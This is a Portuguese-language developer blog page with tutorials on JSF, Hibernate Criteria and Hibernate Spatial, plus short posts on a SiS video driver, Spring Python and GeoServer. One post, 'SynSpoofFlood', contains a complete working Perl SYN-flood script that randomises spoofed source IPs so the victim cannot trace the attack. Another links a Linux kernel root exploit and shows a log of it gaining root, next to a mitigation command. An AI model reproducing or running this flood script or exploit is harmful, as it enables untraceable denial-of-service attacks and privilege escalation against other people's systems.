Sobre o Zend Framework

Pessoal, para quem programa em PHP e quer conhecer o framework Zend ou conhece e quer se aprofundar, o meu grande amigo Fernando está publicando em seu blog uma série de exemplos de utilização do Zend. Vale a pena dá uma conferida.

Insert Zend Framework
Enviando e-mails com SMTP autenticado e corpo HTML através do Zend_Mail

JSF utilizando o SelectOneMenu de maneira fácil

Um das principais fontes de dúvida para quem está começando a aprender JSF é o componente SelectOneMenu. Basta uma simples garimpada no google e você confirmará isso. Diversas soluções para o uso do SelectOneMenu são indicadas, uma das que mais vejo é utilizar um converter para converter o objeto selecionada na SelectOneMenu no objeto desejado. Porém eu prefiro uma maneira que acho mais simples, que irei mostrar a seguir.
No nosso exemplo, terei um objeto do tipo “Classe” que representará uma classe de alunos, cada classe contem um objeto do tipo “Professor”. Ao cadastrar uma classe o usuário deverá selecionar o professor em uma determinada lista. Então vamos lá:

Teremos um backing bean chamado ClasseBean que conterá uma objeto do tipo classe.

public class ClasseBean {

    private Classe classe;
    private ClasseDao classeDao;
    private List<SelectItem> listaItem;
    private int professorSelecionado;

public ClasseBean() {
        classe = new Classe();
        classeDao = new ClasseDao();
        listaItem = getLista();
    }

 public List<SelectItem> getLista() {
        ArrayList<SelectItem> lista = new ArrayList<SelectItem>();
	ProfessorDao professorDao = new ProfessorDao();
        List<Professor> resultado = (List<Professor>) professorDao.listAll();

        for (Professor teste : resultado) {
            SelectItem item = new SelectItem(teste.getId(), teste.getNome());
            lista.add(item);
        }
        return lista;
    }

 public String salvar() {

	 ProfessorDao professorDao = new ProfessorDao();
         professor = professorDao.procurar(professorSelecionado);
         this.classe.setProfessor(professor);
         classeDao.salvar(classe);

        classe = new Classe();
        return "listarClasses";
    }

	//métodos getters e setters omitidos

}

No exemplos não irei me apegar a camada de persistência, devendo essa ter sido criada previamente pelo programador e conter os métodos de busca pelo ID e buscar todos os registros.

Iremos começar pelo método getLista(), nesse método é criado uma lista de SelectItem que será usada como exibição, os objetos SelectItem recebem como parametro no construtor dois atributos, o primeiro é a chave do selectItem (que será igual ao id do professor) e o valor de exibição (que no nosso caso será o nome do professor).

Já o método salvar() utilizar o ProfessorDao para efetuar uma busca através do atributo professorSelecionado (o valor desse atributo será igual a chave do item escolhido no SelectOneMenu, que no nosso caso será o id do professor. Lembra-se do: “SelectItem item = new SelectItem(teste.getId(), teste.getNome());” ) após isso o atributo professor do objeto Classe é setado e o o objeto é persistido.

Agora iremos para a criação da página jsf:

<h:selectOneMenu value="#{classeBean.professorSelecionado}">
classeBean.listaItem}">
                            <f:selectItems value="#{classeBean.listaItem}"/>
</h:selectOneMenu>

O atributo value do SelectOneMenu recebe como parametro o atributo que receberá o valor da chave do atributo selecionado da lista.
E utilizamos o selectItems para informar em qual atributo está a lista de SelectItem’s a ser exibida.

Hibernate – Utilizando a api Criteria

Esse post faz parte de uma série que estou preparando sobre o hibernate, o primeiro foi sobre a extensão especial Hibernate Spatial e esse segundo irei falar sobre um pouco sobre um poderoso recurso do Hibernate, a API Criteria. Nesse tutorial não irei entrar em detalhes sobre configuração do Hibernate, assume-se que você tem o hibernate pré-configurado, irei apenas falar da API.

Primeiro criaremos nossa entidade exemplo “Cliente” :


package modelo;

import java.io.Serializable;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;

/**
 *
 * @author lucas
 */
@Entity
public class Cliente implements Serializable {

    @Id
    @GeneratedValue
    private int id;
    private String nome;
    private int idade;
    private String cpf;
    private double saldo;

    public String getCpf() {
        return cpf;
    }

    public int getIdade() {
        return idade;
    }

    public void setIdade(int idade) {
        this.idade = idade;
    }

    public void setCpf(String cpf) {
        this.cpf = cpf;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getNome() {
        return nome;
    }

    public void setNome(String nome) {
        this.nome = nome;
    }

    public double getSaldo() {
        return saldo;
    }

    public void setSaldo(double saldo) {
        this.saldo = saldo;
    }
}

Até aqui nada de novo, marcamos a classe com a anotação @Entity, para indicar que é uma entidade e marcamos o atributo id com as anotações @Id e @GeneratedValue, a primeira diz que esse atributo é a chave primaria e segunda que seu valor será gerado automaticamente. O cliente também tem um atributo saldo, que representará um valor de saldo, tecnicamente o cliente não deveria possuir um saldo e sim um objeto conta e a conta possuir um saldo, porém como o objetivo desse tutorial é demonstrar a api Criteria, não me apeguei a regras de modelagem OO.

Agora criaremos a classe HibernateUtil, que irá conter um método estático que devolve um objeto Session. Com essa classe não precisaremos ficar instanciando o objeto Session toda vez que precisarmos acessar o banco. O próprio netbeans tem um assistente que gera automaticamente essa classe.


package util;

import org.hibernate.Session;
import org.hibernate.cfg.AnnotationConfiguration;
import org.hibernate.SessionFactory;

/**
 * Hibernate Utility class with a convenient method to get Session object.
 *
 * @author lucas
 */
public class HibernateUtil {
    private static final SessionFactory sessionFactory;

    static {
        try {
            sessionFactory = new AnnotationConfiguration().configure().buildSessionFactory();
        } catch (Throwable ex) {
            throw new ExceptionInInitializerError(ex);
        }
    }

    public static Session getSession() {
        return sessionFactory.openSession();
    }
}

Agora criaremos um Dao genérico com os métodos padrão em todos os DAO’s, evitando assim o trabalho de implementar os mesmos métodos em todos os DAO’s.


package Dao;

import org.hibernate.Session;
import org.hibernate.Transaction;
import util.HibernateUtil;

/**
 *
 * @author lucas
 */
public class Dao<T> {

    private Class classe;
    private Session session;

    protected Session getSession() {
        return session;
    }

    public Dao(Class classe) {
        this.session = HibernateUtil.getSession();
        this.classe = classe;
    }

    public void salvar(T objeto){
        session.save(objeto);
    }

    public void remover(T objeto){
        Transaction ts = session.beginTransaction();
        session.save(objeto);
        ts.commit();
    }

    public void atualizar(T objeto){
        Transaction ts = session.beginTransaction();
        session.update(objeto);
        ts.commit();
    }

    public T load(long id){
        return (T) session.load(classe, id);
    }
}

Utilizamos na declaração da classe o tipo parametrizado T (de type), indicando que essa classe terá um tipo de Objeto.

No seu construtor, ela receberá um objeto que definirá o tipo usado na classe e utiliza o HibernateUtil para receber uma session. Observe que o método getSession() do Dao genérico é protected pois suas classes filhas precisarão acessa-lo para seus próprios métodos.

Agora criaremos o ClienteDao, que herdará todos os métodos do Dao genérico, sendo assim não será necessário criar os métodos básicos (Salvar, Atualzar, Remover e Carregar).


package Dao;

import java.util.Collection;
import modelo.Cliente;
import org.hibernate.Criteria;
import org.hibernate.criterion.Order;
import org.hibernate.criterion.Projections;
import org.hibernate.criterion.Restrictions;

/**
 *
 * @author lucas
 */
public class ClienteDao extends Dao<Cliente> {

    public ClienteDao(){
        super(Cliente.class);
    }

    public Collection<Cliente> buscaPorNome(String nome){
        Criteria c = getSession().createCriteria(Cliente.class);
        c.add(Restrictions.ilike("nome", nome));
        c.addOrder(Order.asc("idade"));
        return c.list();
    }

    public int qtdeTotalCliente(){
        Criteria c = getSession().createCriteria(Cliente.class);
        c.setProjection(Projections.rowCount());
        return (Integer) c.uniqueResult();
    }

    public int totalSaldo(){
        Criteria c = getSession().createCriteria(Cliente.class);
        c.setProjection(Projections.sum("saldo"));
        return (Integer) c.uniqueResult();
    }
}

Agora conheceremos o poder da API Criteria.
No método buscaPorNome, é recebido como parametro uma String que representa o nome do Cliente a ser buscado.
Em seguida é criado o objeto Criteria, através do método createCriteria() e esse recebe como argumento o tipo de objeto a ser pesquisado, como o objeto está mapeado para uma tabela do banco (eu não demonstrei aqui como mapear, porque como disse não é o objetivo do artigo) a API Criteria já sabe exatamente em qual(is) tabela(s) buscar.
Na linha seguinte utilizamos o método add() para refirnarmos a busca, no nosso caso adicionamos uma restrição através do ilike() do objeto Restrictions e passamos dois parâmetros o primeiro é o campo que será aplicada a restrição e o segundo o valor da restrição. Então no nosso caso informamos que queremos apenas os registros com o campo nome igual ao valor da variável nome.
Para melhorar ainda mais a busca, podemos definir a ordem que os objetos será apresentados. Para isso na linha seguinte usamos o método addOrder() e usamos o objeto Order para definir a ordem, que no nosso caso será o campo idade.
Na linha seguinte é usado o método list() que retorna uma lista de objetos que se encaixa no perfil informado ou null caso não encontre nada.

No método qtdeTotalCliente() é retornado um inteiro com a quantidade total de registro de Clientes salvos no banco. Para isso é utilizado o método setProjection e é passado como parâmetro o que queremos fazer, no caso utilizamos o método rowCount() do Projections para contar a quantidade de registros.
Para finalizar usamos o uniqueResult() para retornar a quantidade de registros.

E para finalizar o artigo, no totalSaldo() estamos utilizando também o setProjection para somar os valores de um determinado campo de todos os registros do banco, para isso utilizamos o método sum() do objeto Projections

Bom, no geral é isso. A API Criteria é muito poderosa, podemos ser utilizada para realizar (quase) todas as queries que você desejar, porém muita gente acha mais rápido e produtivo escrever as queries utilizando a HQL (Hibernate Querie Language) que irei mostrar no próximo artigo.

Hibernate Spatial + Postgis: Uma Introdução

Esse tutorial tem como objetivo fazer uma introdução ao uso do Hibernate Spatial juntamente com o banco de dados postgresql e a extensão espacial postgis. Nesse exemplo estarei utilizando o netbeans 6.8.

Para começar, crie um projeto Java no netbeans, clique com o botão direito sobre o projeto e adicione as bibliotecas do “Hibernate” e “Hibernate JPA” ambas disponíveis no netbeans.

Você também irá precisar das seguintes bibliotecas:

Adicione todas as listadas acima ao projeto.

Agora iremos criar o hibernate.cfg.xml, o próprio netbeans fornece um utilitário para criação. Clique com o botão direito no projeto, selecione o menu Novo -> Outro -> Hibernate -> Assistente para configuração do hibernate.

Configure seu hibernate da seguinte maneira:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hibernate-configuration PUBLIC "-//Hibernate/Hibernate Configuration DTD 3.0//EN" "http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">
<hibernate-configuration>
  <session-factory>
    <property name="hibernate.dialect">org.hibernate.dialect.PostgreSQLDialect</property>
    <property name="hibernate.connection.driver_class">org.postgresql.Driver</property>
    <property name="hibernate.connection.url">jdbc:postgresql://localhost/teste</property>
    <property name="hibernate.connection.username">postgres</property>
    <property name="hibernate.connection.password">web</property>
    <property name="hibernate.show_sql">true</property>
    <property name="hibernate.format_sql">true</property>
    <mapping class="modelo.Evento"/>
  </session-factory>
</hibernate-configuration>

Agora iremos criar a classe “Eventos” que será nossa entidade. Ela irá conter o atributo Id que será um inteiro, descrição que será uma string contendo a descrição e o atributo ponto que será do tipo geográfico “Point”.


package modelo;

import com.vividsolutions.jts.geom.Point;
import java.io.Serializable;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import org.hibernate.annotations.Type;

/**
 *
 * @author lucas
 */
@Entity
public class Evento implements Serializable {

    @Id
    @GeneratedValue
    private long id;
    private String descricao;
    @Type(type="org.hibernatespatial.GeometryUserType")
    @Column(columnDefinition="Point")
    private Point ponto;

    public String getDescricao() {
        return descricao;
    }

    public void setDescricao(String descricao) {
        this.descricao = descricao;
    }

    public long getId() {
        return id;
    }

    public void setId(long id) {
        this.id = id;
    }

    public Point getPonto() {
        return ponto;
    }

    public void setPonto(Point ponto) {
        this.ponto = ponto;
    }
}

Agora criaremos a classe HibernateUtil, que possuirá um atributo SessionFactory do hibernate, um método que retorne uma Session criada pelo SessionFactory e um bloco de código, todos estáticos. O próprio netbeans possui uma opção de criar automaticamente o HibernateUtil, ela está no mesmo menu que foi usado anteriormente para gerar o arquivo de configuração.

package util;

import org.hibernate.Session;
import org.hibernate.cfg.AnnotationConfiguration;
import org.hibernate.SessionFactory;

public class HibernateUtil {
    private static final SessionFactory sessionFactory;

    static {
        try {
            sessionFactory = new AnnotationConfiguration().configure().buildSessionFactory();
        } catch (Throwable ex) {
            throw new ExceptionInInitializerError(ex);
        }
    }

    public static Session getSession() {
        return sessionFactory.openSession();
    }
}

Criaremos agora a classe que irá ler a configuração do hibernate e a partir dos mapeamentos das classes irá gerar automaticamente as tabelas do banco.

package util;

import org.hibernate.cfg.AnnotationConfiguration;
import org.hibernate.cfg.Configuration;
import org.hibernate.tool.hbm2ddl.SchemaExport;

/**
 *
 * @author lucas
 */
public class GeraBanco {

    public static void main(String args[]){

        Configuration conf = new AnnotationConfiguration();
        conf.configure();
        SchemaExport se = new SchemaExport(conf);
        se.create(true, true);
    }
}

O próximo passo é mapear a entidade Evento no hibernate, para isso adicionaremos abaixo do último ‘property’ a linha a seguir:

 <mapping class="modelo.Evento"/>

Deixando o hibernate.cfg.xml da seguinte maneira:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hibernate-configuration PUBLIC "-//Hibernate/Hibernate Configuration DTD 3.0//EN" "http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">
<hibernate-configuration>
  <session-factory>
    <property name="hibernate.dialect">org.hibernate.dialect.PostgreSQLDialect</property>
    <property name="hibernate.connection.driver_class">org.postgresql.Driver</property>
    <property name="hibernate.connection.url">jdbc:postgresql://localhost/teste</property>
    <property name="hibernate.connection.username">postgres</property>
    <property name="hibernate.connection.password">web</property>
    <property name="hibernate.show_sql">true</property>
    <property name="hibernate.format_sql">true</property>
    <mapping class="modelo.Evento"/>
  </session-factory>
</hibernate-configuration>

E por fim iremos trabalhar na classe main:


import com.vividsolutions.jts.geom.Geometry;
import com.vividsolutions.jts.geom.Point;
import modelo.Evento;
import org.hibernate.Session;
import org.hibernate.Transaction;
import util.HibernateUtil;

/**
 *
 * @author lucas
 */
public class Main {

    public static void main(String[] args) {

        Evento evento = new Evento();
        evento.setDescricao("Testando");
        Geometry geom = null;
        evento.setPonto((Point) geom);

        Session session = HibernateUtil.getSession();
        Transaction tx = session.beginTransaction();

        session.save(evento);
        tx.commit();
        session.close();
    }
}

Agora rode o GeraBanco para que a tabela do banco seja criada e em seguinda o main. Após fazer isso dê uma conferida no banco e se tiver ocorrido tudo bem o registro estará lá.

Sis 771/671 no ubuntu 9.10 amd64

Mais outro post direcionado aos propriétarios de placas de video Sis 771/671. Como já foi dito em outros posts, a Sis não libera o driver para linux. Para quem instalou recentemente o ubuntu 9.10 64 bits e não conseguiu encontrar um driver compatível, pode fazer o download do mesmo clicando  aqui.

Após concluir o download descompacte o driver e copie para o diretorio /usr/lib64/xorg/modules/drivers

Em seguida crie o xorg.conf dentro de /etc/X11/ com o seguinte conteúdo:

Section “Device”
Identifier   “Configured Video Device”
Driver “sisimedia”
EndSection

Section “Monitor”
Identifier   “Configured Monitor”
EndSection

Section “Screen”
Identifier   “Default Screen”
Monitor      “Configured Monitor”
Device      “Configured Video Device”
EndSection

Reinicie o X e seja feliz.

SynSpoofFlood

Essa semana fuçando em alguns arquivos antigos aqui, achei um script de syn flood feito em perl pelo iphelix e melhorei um pouco.

O Script original você especificava um ip falso para os pacotes, o ip do alvo e a porta. Então resolvi criar uma função que gera randomicamente um numero ip e envia os pacotes, sendo muito dificil para o administrador da rede atacada conseguir detectar a verdadeira origem do ataque, pois cada pacote vai com um endereço ip diferente. Abaixo segue o código do script, lembrando que é somente para fins de conhecimento.

#!/usr/bin/perl
# synSpoofFlood
# Author: Lucas Allan
#
# Based on Simple SYN Flooder by iphelix
# Requires perl, Net::RawIP module, and root privileges
#
# www.lucasallan.com
#

use Net::RawIP;

sub geraIP(){
	$range = 255;
	$iA = int(rand($range));
	$iB = int(rand($range));
	$iC = int(rand($range));
	$iD = int(rand($range));

	return $iA . "." . $iB . "." . $iC . "." . $iD;
}

sub attack(){
   ($dst,$port) = @ARGV;
   $a = new Net::RawIP;
   while(1) {
      $src_port = rand(65534)+1;
      $src = geraIP();
      $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
      $a->send;
   }
}
if($#ARGV == 1) {
	attack();

} else {
   print "Target Port\n";
}

Spring framework for Python

O Spring é um  dos melhores Framework’s Java que eu já conheci e tive a oportunidade de usar. Desenvolvido por Rod Johnson, ele foi criado para facilitar o desenvolvimento de aplicativos corporativos. Simples e poderoso, o spring ganhou adeptos no mundo todo e está hoje entre os frameworks mais utilizados no desenvolvimento em Java.

Mas agora não só os desenvolvedores Java irão ter o privilegio de fazer uso de seus recursos. Recentemente a Spring Source anúnciou a versão para Python. Agora os desenvolvedores que utilizam essa maravilhosa e poderosa linguagem poderão contar também com todo o poder que o spring oferece.

Entre as principais características já implementas, estão:

  • Inversão de Controle (IoC);
  • Programação orientada a aspactos.
  • DatabaseTemplate
  • DatabaseTransactions
  • Segurança

Entre diversas outras. Para saber mais, acesse: http://blog.springpython.webfactional.com/

Introdução ao GeoServer

Excelente video tutorial feito pela própria equipe do GeoServer para quem está começando. Mostra como configurar o GeoServer para trabalhar com os Shapefile.

Introdução ao GeoServer

Nova falha grave no kernel Linux

Uma nova falha foi descoberta no kernel linux, que permite ao atacante escalar privilégios obtendo assim acesso de root.
As versões do kernel afetadas são:
- Linux 2.4, from 2.4.4 up to and including 2.4.37.4
- Linux 2.6, from 2.6.0 up to and including 2.6.30.4

Logo, todas as versçoes disponíveis atualmente tem o bug. O próprio Linus Torvalds já escreveu o patch de correção, que deverá vim no próximo release.
Por enquanto uma solução simples e funcional é adcionar na inicialização do seu sistema o seguinte comando:
‘echo 65536 > /proc/sys/vm/mmap_min_addr’

Para mais informações:
http://lwn.net/Articles/347006/

Download do exploit: http://grsecurity.net/~spender/wunderbar_emporium.tgz

Abaixo segue o log do teste que fiz com o exploit no fedora 11, kernel 2.6.29.6-217.2.3.fc11.i686.PAE

bash-4.0$ ./exploit
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc0a0ee58
[+] Resolved selinux_enabled to 0xc089c440
[+] Resolved security_ops to 0xc0a0d62c
[+] Resolved default_security_ops to 0xc089bf60
[+] Resolved sel_read_enforce to 0xc053f1be
[+] Resolved audit_enabled to 0xc09d734c
[+] Resolved commit_creds to 0xc044b575
[+] Resolved prepare_kernel_cred to 0xc044b3d6
[+] got ring0!
[+] detected 2.6 style 4k stacks
MPlayer 29092-4.4.0 (C) 2000-2009 MPlayer Team
mplayer: could not connect to socket
mplayer: No such file or directory
Failed to open LIRC support. You will not be able to use your remote control.

Playing /tmp/video.DcRTkU.
libavformat file format detected.
[lavf] Audio stream found, -aid 0
==========================================================================
Opening audio decoder: [pcm] Uncompressed PCM audio decoder
AUDIO: 48000 Hz, 2 ch, s16le, 64.0 kbit/4.17% (ratio: 8000->192000)
Selected audio codec: [pcm] afm: pcm (Uncompressed PCM)
==========================================================================
[AO OSS] audio_setup: Can't open audio device /dev/dsp: No such file or directory
Failed to initialize audio driver 'oss'
Could not open/initialize audio device -> no sound.
Audio: no sound
Video: no video

Exiting... (End of file)
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
sh-4.0# id
uid=0(root) gid=0(root) context=system_u:system_r:kernel_t:s0
sh-4.0#


Nota (16/08/2009): O projeto fedora já está disponibilizando novo kernel (2.6.29.6-217.2.7.fc11.i686.PAE) com a falha anteriormente citada devidamente corrigida.

1º Encontro oficial do SCRUM USER GROUP

1º Encontro oficial do SCRUM USER GROUP

Mais informações: http://groups.google.com/group/scrumpb